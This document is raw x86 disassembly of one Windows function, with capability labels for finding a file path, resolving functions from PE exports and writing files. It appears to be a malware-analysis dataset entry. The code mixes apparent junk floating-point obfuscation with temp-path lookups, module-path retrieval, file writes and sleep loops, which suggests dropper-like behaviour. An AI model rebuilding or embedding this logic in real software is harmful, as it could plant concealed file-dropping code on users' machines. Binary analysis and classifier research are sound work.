Function at 0x408ea0
Capabilities:
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e528
mov eax, dword fs:[0]
push eax
sub esp, 0xd8
mov eax, dword [0x4260d0]
xor eax, esp
mov dword [esp + 0xd0], eax
push ebx
push esi
push edi
mov eax, dword [0x4260d0]
xor eax, esp
push eax
lea eax, [esp + 0xe8]
mov dword fs:[0], eax
fldz
xor esi, esi
fstp dword [esp + 0x28]
xor eax, eax
fldz
xor ecx, ecx
fst qword [esp + 0x3c]
mov word [esp + 0x58], ax
mov dword [esp + 0x24], esi
mov dword [esp + 0x20], esi
fst qword [esp + 0x2c]
mov dword [esp + 0x5c], esi
fstp qword [esp + 0x74]
mov word [esp + 0x48], cx
mov dword [esp + 0x5c], esi
fld qword [0x423300]
fsub qword [0x41f978]
fadd qword [0x41f970]
call fcn.0040b210
mov dword [0x4249f0], eax
mov dword [esp + 0x4c], esi
mov dword [esp + 0x50], esi
mov dword [esp + 0x98], 0xf
mov dword [esp + 0x94], esi
mov byte [esp + 0x84], 0
fld qword [esp + 0x3c]
fadd qword [0x41f968]
mov dword [esp + 0xf0], esi
fcomp qword [0x41f960]
fnstsw ax
test ah, 1
jne 0x408f8e
dec word [0x425f44]
mov dx, word [0x425f44]
movsx ecx, dx
mov eax, 0x11725e3e
sub eax, ecx
add dword [esp + 0x24], eax
jmp 0x408faa
mov edx, dword [esp + 0x20]
mov dword [esp + 0x38], edx
fild dword [esp + 0x38]
fadd qword [0x423170]
fstp qword [0x423170]
inc dword [esp + 0x20]
push 0x118
call fcn.0040b343
push eax
mov dword [esp + 0x64], eax
call fcn.00402e20
add esp, 8
push 0
call fcn.0040b02a
mov ecx, dword [esp + 0x54]
add esp, 4
cmp edx, ecx
mov edi, eax
mov dword [esp + 0x6c], edi
mov dword [esp + 0x70], edx
jg 0x408ff3
jl 0x408fe5
cmp edi, dword [esp + 0x4c]
jae 0x408ff3
xor ecx, ecx
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], ecx
mov eax, edi
sub eax, dword [esp + 0x4c]
mov esi, edx
sbb esi, ecx
mov dword [esp + 0x18], esi
js 0x409990
jg 0x409014
cmp eax, 0x708
jbe 0x409990
fld dword [0x4232fc]
mov dword [esp + 0x4c], edi
fsubr qword [0x41f958]
mov dword [esp + 0x50], edx
fsub qword [0x41f950]
fcomp qword [0x41f948]
fnstsw ax
fld dword [0x4232fc]
fadd qword [0x41f348]
fstp dword [0x4232fc]
test ah, 5
jp 0x409077
mov ax, word [0x4248c0]
movsx ecx, ax
mov dword [esp + 0x38], ecx
fild dword [esp + 0x38]
fld qword [0x424b00]
fsubr qword [0x41f940]
fsubp st(1)
call fcn.0040b210
mov word [0x4248c0], ax
shr edi, 9
push 0x408
lea ebx, [edi + 0x55]
push 0x423438
mov dword [esp + 0x40], 0
mov dword [esp + 0x5c], edi
mov dword [esp + 0x1c], ebx
call fcn.00401d40
push 0xd
push 0x425e20
mov dword [esp + 0x78], eax
call fcn.00401d40
mov esi, eax
push 0xaf1
push 0x424dd0
mov dword [esp + 0x3c], esi
call fcn.00401d40
push 0x31e
push 0x4244e8
mov dword [esp + 0x80], eax
call fcn.00401d40
add esp, 0x20
mov dword [esp + 0x64], eax
cmp edi, ebx
je 0x409671
mov edx, dword [0x4278e0]
push 0
push edx
call fcn.004020d0
add esp, 8
test eax, eax
jne 0x409110
mov eax, dword [0x4278e8]
mov ecx, dword [0x427424]
push eax
push ecx
call fcn.004011a0
add esp, 8
mov edx, dword [esp + 0x54]
mov eax, dword [esp + 0x64]
mov ecx, dword [esp + 0x60]
push edx
push eax
push ecx
lea edx, [esp + 0xa8]
push edx
call fcn.00402a20
push 0x8b
push 0x423228
call fcn.00401d40
mov ebx, eax
mov eax, dword [esp + 0x3c]
add esp, 0x18
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409146
mov edi, ebx
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x409152
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x2710
mov ecx, eax
push 0
and ecx, 3
lea eax, [esp + 0x88]
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa8]
push ebx
push ecx
call fcn.00408630
xor edx, edx
fldz
push 0x8b
push edx
fstp dword [esp + 0x2c]
push ebx
mov word [esp + 0x30], dx
call fcn.0040b190
push ebx
call fcn.0040b07b
mov eax, dword [esp + 0xa8]
add esp, 0x24
cmp dword [esp + 0x98], 0x10
jae 0x4091bf
lea eax, [esp + 0x84]
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x68]
push ecx
push eax
push edx
call fcn.00408200
add esp, 0xc
cmp eax, 9
jl 0x409633
mov ecx, dword [esp + 0x84]
mov edi, 0x10
cmp dword [esp + 0x98], edi
jae 0x4091fa
lea ecx, [esp + 0x84]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x70]
jl 0x409633
jg 0x409214
cmp edx, dword [esp + 0x6c]
jb 0x409633
lea esi, [eax - 1]
cmp esi, dword [esp + 0x94]
jbe 0x409225
call fcn.0040bc93
mov eax, dword [esp + 0x84]
cmp dword [esp + 0x98], edi
jae 0x40923c
lea eax, [esp + 0x84]
mov byte [eax + esi], 0
mov esi, dword [esp + 0x98]
mov ebx, dword [esp + 0x84]
mov eax, ebx
cmp esi, edi
jae 0x40925b
lea eax, [esp + 0x84]
lea ecx, [esp + 0x9c]
add eax, 8
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409285
test dl, dl
je 0x409281
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409285
add eax, 2
add ecx, 2
test dl, dl
jne 0x409265
xor eax, eax
jmp 0x40928a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x409633
cmp esi, edi
jb 0x409372
mov edi, ebx
test ebx, ebx
je 0x4092cd
mov eax, ebx
cmp esi, 0x10
jae 0x4092ae
lea eax, [esp + 0x84]
cmp eax, edi
ja 0x4092cd
mov eax, ebx
cmp esi, 0x10
jae 0x4092c0
lea eax, [esp + 0x84]
mov ecx, dword [esp + 0x94]
add eax, ecx
cmp edi, eax
jbe 0x4092d9
call fcn.0040bc93
mov ecx, dword [esp + 0x94]
lea esi, [esp + 0x80]
mov ebx, edi
mov edx, dword [esp + 0x98]
mov eax, dword [esp + 0x84]
cmp edx, 0x10
jae 0x4092fc
lea eax, [esp + 0x84]
lea edi, [eax + ecx]
test edi, edi
je 0x409333
mov eax, dword [esp + 0x84]
cmp edx, 0x10
jae 0x409316
lea eax, [esp + 0x84]
cmp eax, edi
ja 0x409333
mov eax, dword [esp + 0x84]
cmp edx, 0x10
jae 0x40932d
lea eax, [esp + 0x84]
add eax, ecx
cmp edi, eax
jbe 0x409338
call fcn.0040bc93
cmp esi, 0xfffffffc
je 0x409351
test esi, esi
je 0x40934c
lea eax, [esp + 0x80]
cmp esi, eax
je 0x409351
call fcn.0040bc93
cmp ebx, edi
je 0x4093f7
cmp esi, 0xfffffffc
je 0x40938f
test esi, esi
jne 0x409367
call fcn.0040bc93
cmp dword [esi + 0x18], 0x10
jb 0x40937e
mov eax, dword [esi + 4]
jmp 0x409381
lea edi, [esp + 0x84]
jmp 0x4092a0
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp ebx, ecx
jb 0x40938f
call fcn.0040bc93
fld qword [0x41f938]
mov byte [ebx], 0
fstp qword [esp + 0x2c]
cmp esi, 0xfffffffc
je 0x4093c6
test esi, esi
jne 0x4093aa
call fcn.0040bc93
cmp dword [esi + 0x18], 0x10
jb 0x4093b5
mov eax, dword [esi + 4]
jmp 0x4093b8
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp ebx, edx
jb 0x4093c6
call fcn.0040bc93
fld dword [0x4231e0]
inc ebx
fsub qword [0x4248d8]
fstp dword [0x42482c]
fld dword [0x4231e0]
mov ecx, dword [esp + 0x94]
fadd qword [0x41f348]
fstp dword [0x4231e0]
jmp 0x4092e2
fld qword [esp + 0x2c]
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [esp + 0x2c]
fld qword [esp + 0x2c]
fsub qword [0x41f930]
fsub qword [0x41f928]
fcomp qword [esp + 0x2c]
fnstsw ax
test ah, 0x41
jp 0x40947a
fsubr qword [esp + 0x3c]
fstp qword [esp + 0x3c]
fld qword [esp + 0x3c]
mov eax, dword [0x424a2c]
fsub qword [0x41f920]
mov cx, word [0x424a24]
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
movsx edx, cx
mov dword [esp + 0x10], edx
fsubp st(1)
fild dword [esp + 0x10]
fcompp
fnstsw ax
test ah, 1
jne 0x409468
mov dword [0x4248f0], 0x3cf9ad9e
jmp 0x40947c
mov eax, dword [0x424884]
imul eax, eax, 0xb54ebe9a
mov dword [0x424884], eax
jmp 0x40947c
fstp st(0)
push 0x7e
push 0x423228
call fcn.00401d40
push 0
push 0
lea ecx, [esp + 0x90]
push ecx
mov esi, eax
lea edx, [esp + 0xb0]
push esi
push edx
call fcn.00408630
mov ebx, 1
add dword [0x4248cc], ebx
mov eax, dword [0x4248cc]
mov dword [esp + 0x2c], eax
fild dword [esp + 0x2c]
fld dword [esp + 0x44]
mov ecx, dword [esp + 0x3c]
fadd qword [0x41f918]
mov dword [esp + 0x3c], ecx
fsubp st(1)
fild dword [esp + 0x3c]
faddp st(1)
call fcn.0040b210
mov dword [esp + 0x3c], eax
fld dword [esp + 0x44]
fsub qword [0x41f348]
xor edx, edx
push 0x7e
push edx
fstp dword [esp + 0x4c]
push esi
fldz
fstp dword [esp + 0x38]
mov word [esp + 0x38], dx
call fcn.0040b190
push esi
call fcn.0040b07b
push 0xc
push 0x424934
call fcn.00401d40
fld qword [esp + 0x70]
fadd qword [0x41f910]
add esp, 0x34
mov esi, eax
lea ecx, [eax + 1]
fstp qword [esp + 0x3c]
jmp 0x409530
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x409530
sub eax, ecx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x8c]
call fcn.00404770
mov edi, eax
mov eax, dword [0x4238ec]
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fsub qword [esp + 0x2c]
fsub qword [0x41f908]
fcomp qword [0x41f900]
fnstsw ax
fld qword [esp + 0x2c]
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [esp + 0x2c]
add dword [0x4238ec], ebx
test ah, 0x44
jp 0x409605
fld dword [esp + 0x28]
mov eax, 0x9e4695ac
fsub st(1)
fstp dword [esp + 0x28]
mov cx, word [esp + 0x58]
movsx edx, cx
sub eax, edx
add eax, dword [0x42485c]
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fld dword [esp + 0x28]
dec dword [0x42485c]
fsubr qword [0x41f8f8]
fsub qword [0x41f8f0]
fcompp
fnstsw ax
test ah, 5
jp 0x409605
fadd dword [0x425f08]
fstp dword [0x425f08]
fld dword [0x425f08]
mov cx, word [esp + 0x48]
movsx edx, cx
mov dword [esp + 0x10], edx
fild dword [esp + 0x10]
faddp st(1)
fld qword [esp + 0x2c]
fsubp st(1)
fsubr qword [esp + 0x3c]
fstp qword [esp + 0x3c]
add dword [esp + 0x48], ebx
jmp 0x409607
fstp st(0)
fldz
xor eax, eax
mov dword [esi], eax
fstp dword [esp + 0x10]
mov dword [esi + 4], eax
push esi
mov word [esp + 0x14], ax
mov dword [esi + 8], eax
call fcn.0040b07b
mov ecx, dword [esp + 0x98]
add ecx, 0xfffffff5
add esp, 4
cmp edi, ecx
je 0x409648
mov eax, dword [esp + 0x54]
inc eax
mov dword [esp + 0x54], eax
cmp eax, dword [esp + 0x14]
jne 0x4090e6
jmp 0x40966d
push 0xb
push edi
lea ecx, [esp + 0x88]
call fcn.00405010
fld dword [esp + 0x28]
fsubr qword [0x41f8e8]
mov dword [esp + 0x38], ebx
fmul qword [esp + 0x2c]
fstp qword [esp + 0x2c]
mov esi, dword [esp + 0x24]
fldz
mov edi, dword [esp + 0x68]
xor edx, edx
fstp dword [esp + 0x14]
push 0x408
push edx
mov word [esp + 0x18], dx
push edi
call fcn.0040b190
push edi
call fcn.0040b07b
fldz
xor eax, eax
fstp dword [esp + 0x24]
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov word [esp + 0x20], ax
push esi
mov byte [esi + 0xc], al
call fcn.0040b07b
fldz
mov esi, dword [esp + 0x78]
fstp dword [esp + 0x28]
xor ecx, ecx
push 0x31e
push ecx
mov word [esp + 0x2c], cx
push esi
call fcn.0040b190
push esi
call fcn.0040b07b
fldz
mov esi, dword [esp + 0x84]
fstp dword [esp + 0x38]
xor edx, edx
push 0xaf1
push edx
push esi
mov word [esp + 0x40], dx
call fcn.0040b190
push esi
call fcn.0040b07b
push 0x40
lea eax, [esp + 0xd4]
push 0
push eax
call fcn.0040b190
add esp, 0x40
cmp dword [esp + 0x38], 0
je 0x409990
mov ecx, dword [esp + 0x5c]
push 0x708
push ecx
call fcn.004024b0
add esp, 8
cmp dword [esp + 0x94], 0x200
jbe 0x409990
mov edx, dword [0x424848]
mov eax, 0x7b329297
sub eax, edx
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fld qword [0x425f90]
fadd qword [0x41f8e0]
fsub qword [0x41f8d8]
fucompp
fnstsw ax
test ah, 0x44
jnp 0x40977b
fld qword [esp + 0x74]
call fcn.0040b210
mov word [esp + 0x48], ax
push 0x370
call fcn.0040b343
add esp, 4
mov ebx, eax
push ebx
push 0xeb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.00402650
push 3
push 0x425da8
call fcn.00401d40
mov esi, eax
push esi
push ebx
call fcn.0040bb1f
fld qword [esp + 0x54]
fld1
mov edi, eax
fsub st(1), st(0)
xor eax, eax
fxch st(1)
xor ecx, ecx
push esi
fstp qword [esp + 0x58]
fld qword [0x424980]
fld qword [esp + 0x58]
fsub qword [esp + 0x48]
fadd qword [0x41f8d0]
fsubp st(1)
fstp qword [0x424980]
fadd qword [esp + 0x48]
mov word [esi], ax
mov byte [esi + 2], al
fstp qword [esp + 0x48]
fldz
fstp dword [esp + 0x30]
mov word [esp + 0x2c], cx
call fcn.0040b07b
mov eax, dword [esp + 0xa0]
add esp, 0x1c
cmp dword [esp + 0x98], 0x10
mov dword [esp + 0x24], 0x3ddc5f3e
jae 0x40982a
lea eax, [esp + 0x84]
mov edx, dword [esp + 0x94]
push edi
push 1
push edx
push eax
call fcn.0040b9d9
push edi
call fcn.0040b7fb
add esp, 0x14
push 0x104
lea eax, [ebx + 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x15
push 0x424d7c
call fcn.00401d40
push 0x20
push 0x423138
mov edi, eax
call fcn.00401d40
mov esi, eax
mov eax, dword [0x4278e0]
push eax
push esi
lea eax, [ebx + 0x104]
push eax
push edi
lea eax, [ebx + 0x208]
push 0x168
push eax
call fcn.0040c089
fldz
xor eax, eax
fstp dword [esp + 0x3c]
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
xor ecx, ecx
mov dword [esi + 0x18], eax
mov word [esp + 0x38], cx
push esi
mov dword [esi + 0x1c], eax
call fcn.0040b07b
mov dx, word [0x425e18]
movsx eax, dx
mov dword [esp + 0x40], eax
fild dword [esp + 0x40]
fadd qword [0x425db0]
mov cx, word [0x4248c8]
movsx edx, cx
mov dword [esp + 0x40], edx
fsub qword [0x41f8c8]
fild dword [esp + 0x40]
faddp st(1)
call fcn.0040b210
mov word [0x4248c8], ax
fld qword [0x425db0]
fsub qword [0x41f348]
xor eax, eax
push edi
fstp qword [0x425db0]
mov dword [edi], eax
fldz
mov dword [edi + 4], eax
mov dword [edi + 8], eax
fstp dword [esp + 0x44]
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov word [esp + 0x40], ax
mov byte [edi + 0x14], al
call fcn.0040b07b
mov ecx, dword [0x4278e0]
push 1
push ecx
call fcn.004020d0
fld dword [0x424a28]
mov edx, dword [esp + 0x58]
add edx, 0xdfe491a
mov dword [esp + 0x4c], edx
fisub dword [esp + 0x4c]
lea eax, [ebx + 0x208]
push eax
push ebx
fstp dword [0x424a28]
call fcn.004011a0
add esp, 0x40
push 0x370
push 0
push ebx
call fcn.0040b190
push ebx
call fcn.0040b07b
add esp, 0x10
push 0x15f90
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x424848]
sub eax, 0x5c6349df
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fadd qword [0x425f30]
mov cx, word [0x4231bc]
movsx edx, cx
mov dword [esp + 0x14], edx
fild dword [esp + 0x14]
faddp st(1)
call fcn.0040b210
mov word [0x4231bc], ax
inc dword [0x424848]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
fld qword [0x4248a0]
fsub qword [0x41f8c0]
mov eax, dword [0x4278e0]
push 0
push eax
fstp qword [0x4248a0]
call fcn.004020d0
add esp, 8
test eax, eax
jne 0x408fc1
mov ecx, dword [0x4278e8]
mov edx, dword [0x427424]
push ecx
push edx
call fcn.004011a0
jmp 0x408fbe